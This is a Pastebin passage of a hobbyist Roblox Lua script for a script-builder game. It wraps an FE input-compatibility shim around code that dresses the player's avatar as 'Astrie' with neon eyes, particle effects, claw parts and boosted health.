Advertisement
5325325325

Untitled

Oct 27th, 2018
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 248.48 KB | None | 0 0
  1. -- This script has been converted to FE by iPxter
  2.  
  3.  
  4. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  5. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  6. do
  7. print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
  8. script.Parent = Player.Character
  9.  
  10. --RemoteEvent for communicating
  11. local Event = Instance.new("RemoteEvent")
  12. Event.Name = "UserInput_Event"
  13.  
  14. --Fake event to make stuff like Mouse.KeyDown work
  15. local function fakeEvent()
  16. local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
  17. t.connect = t.Connect
  18. return t
  19. end
  20.  
  21. --Creating fake input objects with fake variables
  22. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  23. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  24. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  25. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  26. end}
  27. --Merged 2 functions into one by checking amount of arguments
  28. CAS.UnbindAction = CAS.BindAction
  29.  
  30. --This function will trigger the events that have been :Connect()'ed
  31. local function te(self,ev,...)
  32. local t = m[ev]
  33. if t and t._fakeEvent and t.Function then
  34. t.Function(...)
  35. end
  36. end
  37. m.TrigEvent = te
  38. UIS.TrigEvent = te
  39.  
  40. Event.OnServerEvent:Connect(function(plr,io)
  41. if plr~=Player then return end
  42. if io.isMouse then
  43. m.Target = io.Target
  44. m.Hit = io.Hit
  45. else
  46. local b = io.UserInputState == Enum.UserInputState.Begin
  47. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  48. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  49. end
  50. for _,t in pairs(CAS.Actions) do
  51. for _,k in pairs(t.Keys) do
  52. if k==io.KeyCode then
  53. t.Function(t.Name,io.UserInputState,io)
  54. end
  55. end
  56. end
  57. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  58. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  59. end
  60. end)
  61. Event.Parent = NLS([==[
  62. local Player = owner
  63. local Event = script:WaitForChild("UserInput_Event")
  64.  
  65. local UIS = game:GetService("UserInputService")
  66. local input = function(io,a)
  67. if a then return end
  68. --Since InputObject is a client-side instance, we create and pass table instead
  69. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
  70. end
  71. UIS.InputBegan:Connect(input)
  72. UIS.InputEnded:Connect(input)
  73.  
  74. local h,t
  75. --Give the server mouse data 30 times every second, but only if the values changed
  76. --If player is not moving their mouse, client won't fire events
  77. while wait(1/30) do
  78. if h~=Mouse.Hit or t~=Mouse.Target then
  79. h,t=Mouse.Hit,Mouse.Target
  80. Event:FireServer({isMouse=true,Target=t,Hit=h})
  81. end
  82. end]==],Player.Character)
  83. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  84. end
  85.  
  86. paly = owner
  87. Player = owner
  88. p = owner
  89. char = paly.Character
  90. vt = Vector3.new
  91. rarm = char["Right Arm"]
  92. hed = char.Head
  93. larm = char["Left Arm"]
  94. rleg = char["Right Leg"]
  95. lleg = char["Left Leg"]
  96. local maincolor = BrickColor.random()
  97. local effolemode = false
  98. local wrathmode = false
  99. local noobmode = false
  100. local randomname = "???"
  101. local randomnamefem = "???"
  102. local randomchanger = 6
  103. if paly.Name == "BINO2002" then
  104. randomchanger = 6
  105. end
  106. if randomchanger == 6 then
  107. randomnamefem = "Astrie"
  108. effolemode = true
  109. maincolor = BrickColor.new("Royal purple")
  110.  
  111. local torsmesh = Instance.new("CharacterMesh", char)
  112. torsmesh.BodyPart = "Torso"
  113. torsmesh.MeshId = "48112070"
  114. local dec2 = Instance.new("Decal", char)
  115. dec2.Face = "Front"
  116. dec2.Texture = "rbxassetid://381091841"
  117. dec2.Parent = char.Head
  118. char.Head.face.Transparency = 1
  119. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  120.  
  121. for i,v in pairs(char:children()) do
  122. if v:IsA("Hat") then
  123. v:Destroy()
  124. end
  125. end
  126. for i,v in pairs(char:children()) do
  127. if v:IsA("Accessory") then
  128. v:Destroy()
  129. end
  130. end
  131. for i,v in pairs(char:children()) do
  132. if v:IsA("Hair") then
  133. v:Destroy()
  134. end
  135. end
  136. for i,v in pairs(char:children()) do
  137. if v:IsA("Shirt") then
  138. v:Destroy()
  139. end
  140. end
  141. for i,v in pairs(char:children()) do
  142. if v:IsA("Pants") then
  143. v:Destroy()
  144. end
  145. end
  146.  
  147. local eye12 = Instance.new("Part")
  148. eye12.Parent = char
  149. eye12.Size = Vector3.new(0.2, 0.2, 0.2)
  150. eye12.Archivable = true
  151. eye12.Transparency = 0
  152. eye12.Shape = "Ball"
  153. eye12.BrickColor = maincolor
  154. eye12.Material = "Neon"
  155. eye12.CanCollide = false
  156. local mesh2 = Instance.new("SpecialMesh",eye12)
  157. mesh2.MeshType = "Sphere"
  158. mesh2.Scale = Vector3.new(0.75, 1, 1)
  159. local weld1en2 = Instance.new("Weld")
  160. weld1en2.Parent = hed
  161. weld1en2.Part0 = hed
  162. weld1en2.Part1 = eye12
  163. weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
  164. local eye1 = Instance.new("Part")
  165. eye1.Parent = char
  166. eye1.Size = Vector3.new(0.2, 0.2, 0.2)
  167. eye1.Archivable = true
  168. eye1.Transparency = 0
  169. eye1.Shape = "Ball"
  170. eye1.BrickColor = maincolor
  171. eye1.Material = "Neon"
  172. eye1.CanCollide = false
  173. local mesh = Instance.new("SpecialMesh",eye1)
  174. mesh.MeshType = "Sphere"
  175. mesh.Scale = Vector3.new(0.75, 1, 1)
  176. local weld1en = Instance.new("Weld")
  177. weld1en.Parent = hed
  178. weld1en.Part0 = hed
  179. weld1en.Part1 = eye1
  180. weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
  181.  
  182. local BC = char["Body Colors"]
  183. BC.HeadColor = BrickColor.new("White")
  184. BC.LeftArmColor = BrickColor.new("White")
  185. BC.LeftLegColor = BrickColor.new("White")
  186. BC.RightArmColor = BrickColor.new("White")
  187. BC.RightLegColor = BrickColor.new("White")
  188. BC.TorsoColor = BrickColor.new("White")
  189.  
  190. ypcall(function()
  191. shirt = Instance.new("Shirt", char)
  192. shirt.Name = "Shirt"
  193. pants = Instance.new("Pants", char)
  194. pants.Name = "Pants"
  195. char.Shirt.ShirtTemplate = "rbxassetid://211752973"
  196. char.Pants.PantsTemplate = "rbxassetid://179059579"
  197. end)
  198. Reaper2 = Instance.new("Model")
  199. Reaper2.Parent = Player.Character
  200. Reaper2.Name = "Reaper2"
  201. rh2 = Instance.new("Part")
  202. rh2.Parent = Reaper2
  203. rh2.BrickColor = maincolor
  204. rh2.Locked = true
  205. rh2.CanCollide = false
  206. mesh2 = Instance.new("SpecialMesh")
  207. rh2.formFactor = "Symmetric"
  208. mesh2.MeshType = "FileMesh"
  209. mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
  210. mesh2.Parent = rh2
  211. local weld2 = Instance.new("Weld")
  212. weld2.Parent = rh2
  213. rh2.Transparency = 0
  214. weld2.Part0 = rh2
  215. weld2.Part1 = Player.Character.Head
  216. weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
  217.  
  218. Reaper3 = Instance.new("Model")
  219. Reaper3.Parent = Player.Character
  220. Reaper3.Name = "Reaper3"
  221. rh3 = Instance.new("Part")
  222. rh3.Parent = Reaper3
  223. rh3.BrickColor = BrickColor.new("Really black")
  224. rh3.Locked = true
  225. rh3.CanCollide = false
  226. mesh3 = Instance.new("SpecialMesh")
  227. rh3.formFactor = "Symmetric"
  228. mesh3.MeshType = "FileMesh"
  229. mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
  230. mesh3.Parent = rh3
  231. local weld3 = Instance.new("Weld")
  232. weld3.Parent = rh3
  233. rh3.Transparency = 0
  234. weld3.Part0 = rh3
  235. weld3.Part1 = Player.Character.Head
  236. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  237.  
  238. local orbe = Instance.new("Part")
  239. orbe.Parent = char
  240. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  241. orbe.Archivable = true
  242. orbe.Transparency = 1
  243. orbe.BrickColor = maincolor
  244. orbe.Material = "Neon"
  245. orbe.CanCollide = false
  246. local weld1e = Instance.new("Weld")
  247. weld1e.Parent = rleg
  248. weld1e.Part0 = rleg
  249. weld1e.Part1 = orbe
  250. weld1e.C1 = CFrame.new(0, 1.125, 0)
  251. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  252. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  253. local effectoe = Instance.new("ParticleEmitter",orbe)
  254. effectoe.LightEmission = 1
  255. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  256. effectoe.Color = ColorSequence.new(maincolor.Color)
  257. effectoe.Rate = 10000
  258. effectoe.Lifetime = NumberRange.new(1)
  259. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  260. effectoe.Speed = NumberRange.new(0,0)
  261. effectoe.RotSpeed = NumberRange.new(100,100)
  262.  
  263. local orbze = Instance.new("Part")
  264. orbze.Parent = char
  265. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  266. orbze.Archivable = true
  267. orbze.Transparency = 1
  268. orbze.BrickColor = maincolor
  269. orbze.Material = "Neon"
  270. orbze.CanCollide = false
  271. local weldz1 = Instance.new("Weld")
  272. weldz1.Parent = lleg
  273. weldz1.Part0 = lleg
  274. weldz1.Part1 = orbze
  275. weldz1.C1 = CFrame.new(0, 1.125, 0)
  276. local effectone = Instance.new("ParticleEmitter",orbze)
  277. effectone.LightEmission = 1
  278. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  279. effectone.Color = ColorSequence.new(maincolor.Color)
  280. effectone.Rate = 10000
  281. effectone.Lifetime = NumberRange.new(1)
  282. effectone.Size = NumberSequence.new({pt1e,pt2e})
  283. effectone.Speed = NumberRange.new(0,0)
  284. effectone.RotSpeed = NumberRange.new(100,100)
  285. end
  286.  
  287. if effolemode == true then
  288. maincolor = BrickColor.new("Royal purple")
  289. end
  290.  
  291. local orb = Instance.new("Part")
  292. orb.Parent = char
  293. orb.Size = Vector3.new(1, 1, 1)
  294. orb.Archivable = true
  295. orb.Transparency = 1
  296. orb.BrickColor = BrickColor.new("Bright orange")
  297. orb.Material = "Wood"
  298. orb.CanCollide = false
  299. local weld1 = Instance.new("Weld")
  300. weld1.Parent = rarm
  301. weld1.Part0 = rarm
  302. weld1.Part1 = orb
  303. weld1.C1 = CFrame.new(0, 1.125, 0)
  304. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  305. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  306. local effecto = Instance.new("ParticleEmitter",orb)
  307. effecto.LightEmission = 1
  308. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  309. effecto.Color = ColorSequence.new(maincolor.Color)
  310. effecto.Rate = 10000
  311. effecto.Lifetime = NumberRange.new(1)
  312. effecto.Size = NumberSequence.new({pt1,pt2})
  313. effecto.Speed = NumberRange.new(0,0)
  314. effecto.RotSpeed = NumberRange.new(100,100)
  315.  
  316. local orbz = Instance.new("Part")
  317. orbz.Parent = char
  318. orbz.Size = Vector3.new(1, 1, 1)
  319. orbz.Archivable = true
  320. orbz.Transparency = 1
  321. orbz.BrickColor = BrickColor.new("Bright orange")
  322. orbz.Material = "Wood"
  323. orbz.CanCollide = false
  324. local weldz1 = Instance.new("Weld")
  325. weldz1.Parent = larm
  326. weldz1.Part0 = larm
  327. weldz1.Part1 = orbz
  328. weldz1.C1 = CFrame.new(0, 1.125, 0)
  329. local effecton = Instance.new("ParticleEmitter",orbz)
  330. effecton.LightEmission = 1
  331. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  332. effecton.Color = ColorSequence.new(maincolor.Color)
  333. effecton.Rate = 10000
  334. effecton.Lifetime = NumberRange.new(1)
  335. effecton.Size = NumberSequence.new({pt1,pt2})
  336. effecton.Speed = NumberRange.new(0,0)
  337. effecton.RotSpeed = NumberRange.new(100,100)
  338.  
  339.  
  340. p = owner
  341. char = p.Character
  342. torso = char.Torso
  343. neck = char.Torso.Neck
  344. hum = char.Humanoid
  345. hum.MaxHealth = 10000
  346. wait()
  347. hum.Health =hum.MaxHealth
  348.  
  349. CV="Hot pink"
  350.  
  351. local txt = Instance.new("BillboardGui", char)
  352. txt.Adornee = char .Head
  353. txt.Name = "_status"
  354. txt.Size = UDim2.new(2, 0, 1.2, 0)
  355. txt.StudsOffset = Vector3.new(-9, 8, 0)
  356. local text = Instance.new("TextLabel", txt)
  357. text.Size = UDim2.new(10, 0, 7, 0)
  358. text.FontSize = "Size24"
  359. text.TextScaled = true
  360. text.TextTransparency = 0
  361. text.BackgroundTransparency = 1
  362. text.TextTransparency = 0
  363. text.TextStrokeTransparency = 0
  364. text.Font = "SciFi"
  365. text.TextStrokeColor3 = Color3.new(0,0,0)
  366.  
  367. v=Instance.new("Part")
  368. v.Name = "ColorBrick"
  369. v.Parent=p.Character
  370. v.FormFactor="Symmetric"
  371. v.Anchored=true
  372. v.CanCollide=false
  373. v.BottomSurface="Smooth"
  374. v.TopSurface="Smooth"
  375. v.Size=Vector3.new(10,5,3)
  376. v.Transparency=1
  377. v.CFrame=char.Torso.CFrame
  378. v.BrickColor=BrickColor.new(CV)
  379. v.Transparency=1
  380. text.TextColor3 = BrickColor.new("Royal purple").Color
  381. v.Shape="Block"
  382. text.Text = "Astrie"
  383.  
  384.  
  385. euler = CFrame.fromEulerAnglesXYZ
  386. angles = CFrame.Angles
  387. local player = "owner"
  388. local Character = game.Players[player].Character
  389. it = Instance.new
  390. vt = Vector3.new
  391. bc = BrickColor.new
  392. cf = CFrame.new
  393. mr = math.rad
  394. local Weapon = {}
  395. local p = owner
  396. local char = p.Character
  397. local larm = char["Left Arm"]
  398. local rarm = char["Right Arm"]
  399. local lleg = char["Left Leg"]
  400. local rleg = char["Right Leg"]
  401. local hed = char.Head
  402. local torso = char.Torso
  403. local hum = char.Humanoid
  404. local cam = game.Workspace.CurrentCamera
  405. local root = char.HumanoidRootPart
  406. local deb = false
  407. local shot = 0
  408.  
  409. local debris=game:service"Debris"
  410. local l = game:GetService("Lighting")
  411. local rs = game:GetService("RunService").RenderStepped
  412. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  413. math.randomseed(os.time())
  414. for i,v in pairs (hed:GetChildren()) do
  415. if v:IsA("Sound") then
  416. v:Destroy()
  417. end
  418. end
  419. ---------------------------------------------------- BeastClaw
  420. NoOutline = function(Part)
  421. Part.TopSurface = 10
  422. end
  423. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  424. local fp = it("Part")
  425. fp.formFactor = formfactor
  426. fp.Parent = parent
  427. fp.Reflectance = reflectance
  428. fp.Transparency = transparency
  429. fp.CanCollide = false
  430. fp.Locked = true
  431. fp.BrickColor = brickcolor
  432. fp.Name = name
  433. fp.Size = size
  434. NoOutline(fp)
  435. fp.Material = "Neon"
  436. fp:BreakJoints()
  437. return fp
  438. end
  439. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  440. local mesh = it(Mesh)
  441. mesh.Parent = part
  442. if Mesh == "SpecialMesh" then
  443. mesh.MeshType = meshtype
  444. if meshid ~= "nil" then
  445. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  446. end
  447. end
  448. mesh.Offset = offset
  449. mesh.Scale = scale
  450. return mesh
  451. end
  452. weld = function(parent, part0, part1, c0)
  453. local weld = it("Motor6D")
  454. weld.Parent = parent
  455. weld.Part0 = part0
  456. weld.Part1 = part1
  457. weld.C0 = c0
  458. return weld
  459. end
  460. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  461. local gui = it(GuiType)
  462. gui.Parent = parent
  463. gui.BackgroundTransparency = backtrans
  464. gui.BackgroundColor3 = backcol
  465. gui.SizeConstraint = "RelativeXY"
  466. gui.Position = pos
  467. gui.Size = size
  468. if GuiType == "TextLabel" then
  469. gui.Text = text
  470. gui.TextXAlignment = "Center"
  471. gui.TextYAlignment = "Center"
  472. gui.Font = "SourceSans"
  473. gui.FontSize = "Size14"
  474. gui.TextWrapped = false
  475. gui.TextStrokeTransparency = 0
  476. gui.TextColor = TorsoColor
  477. else
  478. if GuiType == "ImageLabel" then
  479. gui.Image = "rbxassetid://" .. image
  480. gui.ImageColor3 = backcol
  481. end
  482. end
  483. return gui
  484. end
  485. local handle = nil
  486. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  487. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  488. prt.Material = neon
  489. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  490. wld = weld(handle, prt, wldpar, ceef)
  491. v = it("NumberValue", prt)
  492. v.Value = trans
  493. v.Name = "MainTransparency"
  494. return prt, msh, wld
  495. end
  496. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  497. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  498. prt.Material = neon
  499. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  500. wld = weld(wldpare, prt, wldpar, ceef)
  501. v = it("NumberValue", prt)
  502. v.Value = trans
  503. v.Name = "MainTransparency"
  504. return prt, msh, wld
  505. end
  506. local modelzorzez = Instance.new("Model")
  507. modelzorzez.Parent = workspace.CurrentCamera
  508. modelzorzez.Name = "none"
  509. local Torso = Character.Torso
  510. local LeftArm = Character["Left Arm"]
  511. local RightArm = Character["Right Arm"]
  512. local LeftLeg = Character["Left Leg"]
  513. local RightLeg = Character["Right Leg"]
  514. local Head = Character.Head
  515. local RootPart = Character.HumanoidRootPart
  516. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
  517. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  518.  
  519. -- SAHHHH DUUDEEE
  520.  
  521.  
  522.  
  523.  
  524. -- params : ...
  525.  
  526. wait(0.016666666666667)
  527. script.Archivable = false
  528. Effects = {}
  529. local Player = owner
  530. local Character = Player.Character
  531. local Humanoid = Character.Humanoid
  532. local m = Instance.new("Model", Character)
  533. m.Name = "WeaponModel"
  534. local effect = Instance.new("Model", Character)
  535. effect.Name = "effecsfsafzx"
  536. local demon = Instance.new("Model", Character)
  537. demon.Name = "demdemd"
  538. local LeftArm = Character["Left Arm"]
  539. local RightArm = Character["Right Arm"]
  540. local LeftLeg = Character["Left Leg"]
  541. local RightLeg = Character["Right Leg"]
  542. local do2target = nil
  543. local Head = Character.Head
  544. local Torso = Character.Torso
  545. TorsoColor = BrickColor.new("Royal purple")
  546. z = Instance.new("Sound", Torso)
  547. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  548. z.Looped = true
  549. z.Pitch = 0
  550. z.Volume = 0
  551. wait(.1)
  552. z:Play()
  553. local cam = game.Workspace.CurrentCamera
  554. local RootPart = Character.HumanoidRootPart
  555. local RootJoint = RootPart.RootJoint
  556. local equipped = false
  557. local attack = false
  558. local Anim = "Idle"
  559. local idle = 0
  560. local attacktype = 1
  561. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  562. local velocity = RootPart.Velocity.y
  563. local sine = 0
  564. local change = 1
  565. local mana = 0
  566. local it = Instance.new
  567. vt = Vector3.new
  568. local grabbed = false
  569. local cf = CFrame.new
  570. local mr = math.rad
  571. local angles = CFrame.Angles
  572. local ud = UDim2.new
  573. local c3 = Color3.new
  574. clerp = function(a, b, t)
  575.  
  576. return a:lerp(b, t)
  577. end
  578.  
  579. local RbxUtility = LoadLibrary("RbxUtility")
  580. local Create = RbxUtility.Create
  581. RemoveOutlines = function(part)
  582.  
  583. part.TopSurface = 10
  584. end
  585.  
  586. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  587.  
  588. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  589. RemoveOutlines(Part)
  590. return Part
  591. end
  592.  
  593. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  594.  
  595. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  596. if Mesh == "SpecialMesh" then
  597. Msh.MeshType = MeshType
  598. Msh.MeshId = MeshId
  599. end
  600. return Msh
  601. end
  602.  
  603. local co1 = 3
  604. local co2 = 10
  605. local co3 = 15
  606. local co4 = 30
  607. local cooldown1 = 0
  608. local cooldown2 = 0
  609. local cooldown3 = 0
  610. local cooldown4 = 0
  611. local maxEnergy = 100
  612. local Energy = 0
  613. local skill1stam = 1000
  614. local skill2stam = 1000
  615. local skill3stam = 1000
  616. local skill4stam = 1000
  617. local recovermana = 5
  618. local skillcolorscheme = BrickColor.new("White").Color
  619. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  620. makeframe = function(par, trans, pos, size, color)
  621.  
  622. local frame = Instance.new("Frame", par)
  623. frame.BackgroundTransparency = trans
  624. frame.BorderSizePixel = 0
  625. frame.Position = pos
  626. frame.Size = size
  627. frame.BackgroundColor3 = color
  628. return frame
  629. end
  630.  
  631. makelabel = function(par, text)
  632.  
  633. local label = Instance.new("TextLabel", par)
  634. label.BackgroundTransparency = 1
  635. label.Size = UDim2.new(1, 0, 1, 0)
  636. label.Position = UDim2.new(0, 0, 0, 0)
  637. label.TextColor3 = Color3.new(255, 255, 255)
  638. label.TextStrokeTransparency = 0
  639. label.FontSize = Enum.FontSize.Size32
  640. label.Font = Enum.Font.SourceSansLight
  641. label.BorderSizePixel = 0
  642. label.TextScaled = true
  643. label.Text = text
  644. end
  645.  
  646. ArtificialHB = Instance.new("BindableEvent", script)
  647. ArtificialHB.Name = "Heartbeat"
  648. script:WaitForChild("Heartbeat")
  649. frame = 0.033333333333333
  650. tf = 0
  651. allowframeloss = false
  652. tossremainder = false
  653. lastframe = tick()
  654. script.Heartbeat:Fire()
  655. game:GetService("RunService").Heartbeat:connect(function(s, p)
  656.  
  657. tf = tf + s
  658. if frame <= tf then
  659. if allowframeloss then
  660. script.Heartbeat:Fire()
  661. lastframe = tick()
  662. else
  663. for i = 1, math.floor(tf / frame) do
  664. script.Heartbeat:Fire()
  665. end
  666. lastframe = tick()
  667. end
  668. if tossremainder then
  669. tf = 0
  670. else
  671. tf = tf - frame * math.floor(tf / frame)
  672. end
  673. end
  674. end
  675. )
  676. swait = function(num)
  677.  
  678. if num == 0 or num == nil then
  679. ArtificialHB.Event:wait()
  680. else
  681. for i = 0, num do
  682. ArtificialHB.Event:wait()
  683. end
  684. end
  685. end
  686.  
  687. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  688.  
  689. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  690. return Weld
  691. end
  692.  
  693. rayCast = function(Position, Direction, Range, Ignore)
  694.  
  695. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  696. end
  697.  
  698. CreateSound = function(id, par, vol, pit)
  699.  
  700. coroutine.resume(coroutine.create(function()
  701.  
  702. local sou = Instance.new("Sound", par or workspace)
  703. sou.Volume = vol
  704. sou.Pitch = pit or 1
  705. sou.SoundId = id
  706. swait()
  707. sou:play()
  708. game:GetService("Debris"):AddItem(sou, 6)
  709. end
  710. ))
  711. end
  712.  
  713. local getclosest = function(obj, distance)
  714.  
  715. local last, lastx = distance + 1, nil
  716. for i,v in pairs(workspace:GetChildren()) do
  717. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  718. local t = v.Torso
  719. local dist = t.Position - obj.Position.magnitude
  720. if dist <= distance and dist < last then
  721. last = dist
  722. lastx = v
  723. end
  724. end
  725. end
  726. return lastx
  727. end
  728.  
  729. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  730.  
  731. if PartType == "Part" then
  732. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  733. RemoveOutlines(Part)
  734. return Part
  735. else
  736. do
  737. if PartType == "WedgePart" then
  738. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  739. RemoveOutlines(Part)
  740. return Part
  741. end
  742. end
  743. end
  744. end
  745.  
  746. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  747. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  748. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  749. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  750. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  751. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  752. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  753. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  754. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  755. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  756. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  757. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  758. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  759. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  760. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  761. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  762. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  763. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  764. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  765. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  766. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
